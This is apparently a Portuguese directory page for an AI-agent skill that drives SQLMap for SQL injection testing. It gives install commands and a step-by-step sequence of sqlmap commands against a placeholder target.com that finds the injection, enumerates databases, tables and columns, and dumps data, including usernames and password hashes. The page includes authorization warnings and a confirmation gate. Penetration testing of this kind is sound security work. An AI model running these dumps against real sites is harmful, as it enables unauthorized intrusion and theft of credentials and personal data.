sqlmap-database-pentesting
Ajuda seu agente a encontrar e explorar falhas de SQL injection em bancos de dados. Ele usa ferramentas automáticas para testar a segurança.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança em bancos de dados de sites. Ela procura por um tipo específico de vulnerabilidade chamada 'injeção de SQL' para acessar informações.
Quando usar
- ✓Ao testar a segurança de um site que você tem permissão para analisar.
- ✓Para verificar se um site está vulnerável a ataques de injeção de SQL.
- ✓Para aprender sobre testes de penetração em bancos de dados.
Exemplo do que pedir para a IA
“Verifique se o site 'exemplo.com' é vulnerável a injeção de SQL no parâmetro 'id' e liste os bancos de dados disponíveis.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia comandos especialmente criados para o site, tentando 'enganar' o banco de dados. Se o banco de dados responder de forma inesperada, a ferramenta pode identificar a falha e extrair dados.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill sqlmap-database-pentestingOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/sqlmap-database-pentesting/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevito desta ferramenta é ilegal e estritamente proibido.
Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar a URL exata do alvo, IP, conta ou recurso.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
Teste de Penetração de Banco de Dados com SQLMap
Propósito
Fornecer metodologias sistemáticas para detecção e exploração automatizada de injeção de SQL usando SQLMap. Esta habilidade abrange enumeração de banco de dados, descoberta de tabelas e colunas, extração de dados, múltiplos métodos de especificação de alvo e técnicas avançadas de exploração para MySQL, PostgreSQL, MSSQL, Oracle e outros sistemas de gerenciamento de banco de dados.
Entradas / Pré-requisitos
- URL do Alvo: URL da aplicação web com parâmetro injetável (por exemplo,
?id=1) - Instalação do SQLMap: Pré-instalado no Kali Linux ou baixado do GitHub
- Ponto de Injeção Verificado: Parâmetro de URL confirmado ou suspeito de ser injetável em SQL
- Arquivo de Requisição (Opcional): Requisição HTTP capturada pelo Burp Suite para injeção baseada em POST
- Autorização: Permissão por escrito para atividades de teste de penetração
Saídas / Entregas
- Enumeração de Banco de Dados: Lista de todos os bancos de dados no servidor alvo
- Estrutura de Tabelas: Nomes completos das tabelas dentro do banco de dados alvo
- Mapeamento de Colunas: Nomes das colunas e tipos de dados para cada tabela
- Dados Extraídos: Registros descarregados incluindo nomes de usuário, senhas e dados sensíveis
- Valores de Hash: Hashes de senha para cracking offline
- Relatório de Vulnerabilidade: Confirmação do tipo e gravidade da injeção de SQL
Fluxo de Trabalho Principal
1. Identificar Vulnerabilidade de Injeção de SQL
Verificação Manual
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
Scan Inicial com SQLMap
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. Enumerar Bancos de Dados
Listar Todos os Bancos de Dados
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
Opções Principais:
-u: URL do alvo com parâmetro injetável--dbs: Enumerar nomes de bancos de dados--batch: Usar respostas padrão (modo não interativo)
3. Enumerar Tabelas
Listar Tabelas em Banco de Dados Específico
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
Opções Principais:
-D: Especificar nome do banco de dados alvo--tables: Enumerar nomes de tabelas
4. Enumerar Colunas
Listar Colunas em Tabela Específica
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
Opções Principais:
-T: Especificar nome da tabela alvo--columns: Enumerar nomes de colunas
5. Extrair Dados
Descarregar Dados de Tabela Específica
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
Descarregar Colunas Específicas
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
Descarregar Banco de Dados Inteiro
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
Opções Principais:
--dump: Extrair todos os dados da tabela especificada--dump-all: Extrair todos os dados de todas as tabelas-C: Especificar nomes de colunas a serem extraídas
6. Opções Avançadas de Alvo
Alvo de Arquivo de Requisição HTTP
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
Alvo de Arquivo de Log
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
Alvo de Múltiplas URLs (Arquivo em Massa)
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
…
Perguntas frequentes
O que é injeção de SQL?
É um tipo de ataque onde um invasor insere comandos maliciosos em um campo de entrada de um site, fazendo com que o banco de dados execute esses comandos.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. Usá-la sem permissão é ilegal.
Quais tipos de bancos de dados ela suporta?
Ela suporta uma ampla gama de bancos de dados populares como MySQL, PostgreSQL, Microsoft SQL Server, Oracle e muitos outros.
Detalhes
Descrição original do autor
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap.
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #4233
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC